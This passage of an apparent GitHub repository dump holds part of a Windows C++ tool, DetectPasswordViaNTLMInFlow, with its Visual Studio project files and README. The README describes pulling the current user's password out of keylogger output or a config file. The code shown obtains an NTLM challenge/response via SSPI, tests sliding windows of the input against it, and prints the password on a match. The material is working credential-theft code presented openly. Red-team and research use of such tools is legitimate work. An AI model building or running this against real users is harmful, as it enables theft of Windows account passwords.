601 | continue; 602 | } 603 | } 604 | else 605 | { 606 | // or shift 607 | for (DWORD dwJ = 1 ; dwJ < passwordInBuffer && dwJ < dwI; dwJ++) 608 | { 609 | passwords[dwI][dwJ-1] = passwords[dwI][dwJ]; 610 | } 611 | passwords[dwI][dwI-1] = c; 612 | } 613 | // test password 614 | BYTE expectedResponse[16]; 615 | if (ComputeNTLMv2ResponseFromPassword(szDomainName, szUserName, passwords[dwI], Challenge,ClientChallenge,dwClientChallengeSize, expectedResponse)) 616 | { 617 | if (memcmp(expectedResponse, response->Response, 16) == 0) 618 | { 619 | printf("[+] Found. Password is %S\r\n", passwords[dwI]); 620 | return 1; 621 | } 622 | } 623 | } 624 | passwordInBuffer++; 625 | } 626 | printf("[+] Password not found\r\n"); 627 | return 0; 628 | } 629 | 630 | 631 | -------------------------------------------------------------------------------- /DetectPasswordViaNTLMInFlow.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2012 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DetectPasswordViaNTLMInFlow", "DetectPasswordViaNTLMInFlow.vcxproj", "{EDDADEB9-FBD3-4DE3-9BE8-CF355F0EFC3E}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {EDDADEB9-FBD3-4DE3-9BE8-CF355F0EFC3E}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {EDDADEB9-FBD3-4DE3-9BE8-CF355F0EFC3E}.Debug|Win32.Build.0 = Debug|Win32 14 | {EDDADEB9-FBD3-4DE3-9BE8-CF355F0EFC3E}.Debug|Win32.Deploy.0 = Debug|Win32 15 | {EDDADEB9-FBD3-4DE3-9BE8-CF355F0EFC3E}.Release|Win32.ActiveCfg = Release|Win32 16 | {EDDADEB9-FBD3-4DE3-9BE8-CF355F0EFC3E}.Release|Win32.Build.0 = Release|Win32 17 | {EDDADEB9-FBD3-4DE3-9BE8-CF355F0EFC3E}.Release|Win32.Deploy.0 = Release|Win32 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /DetectPasswordViaNTLMInFlow.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {EDDADEB9-FBD3-4DE3-9BE8-CF355F0EFC3E} 15 | Win32Proj 16 | DetectPasswordViaNTLMInFlow 17 | 18 | 19 | 20 | Application 21 | true 22 | v110 23 | Unicode 24 | 25 | 26 | Application 27 | false 28 | v110 29 | true 30 | Unicode 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | true 44 | 45 | 46 | false 47 | 48 | 49 | 50 | Use 51 | Level3 52 | Disabled 53 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 54 | true 55 | MultiThreadedDebug 56 | 57 | 58 | Console 59 | true 60 | 61 | 62 | 63 | 64 | Level3 65 | Use 66 | MaxSpeed 67 | true 68 | true 69 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 70 | true 71 | MultiThreaded 72 | 73 | 74 | Console 75 | true 76 | true 77 | true 78 | 79 | 80 | 81 | 82 | NotUsing 83 | NotUsing 84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /DetectPasswordViaNTLMInFlow.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 6 | h;hpp;hxx;hm;inl;inc;xsd 7 | 8 | 9 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 10 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 11 | 12 | 13 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 14 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 15 | 16 | 17 | 18 | 19 | Source files 20 | 21 | 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DetectPasswordViaNTLMInFlow 2 | Extract the password of the current user from flow (keylogger, config file, ..) 3 | Use SSPI to get a valid NTLM challenge/response and test passwords 4 | 5 | ![DetectPasswordViaNTLMInFlow](https://github.com/vletoux/DetectPasswordViaNTLMInFlow/raw/master/screenshot.png) 6 | -------------------------------------------------------------------------------- /screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vletoux/DetectPasswordViaNTLMInFlow/e02fc36171807aa19ab280c630fd61b4521e072f/screenshot.png --------------------------------------------------------------------------------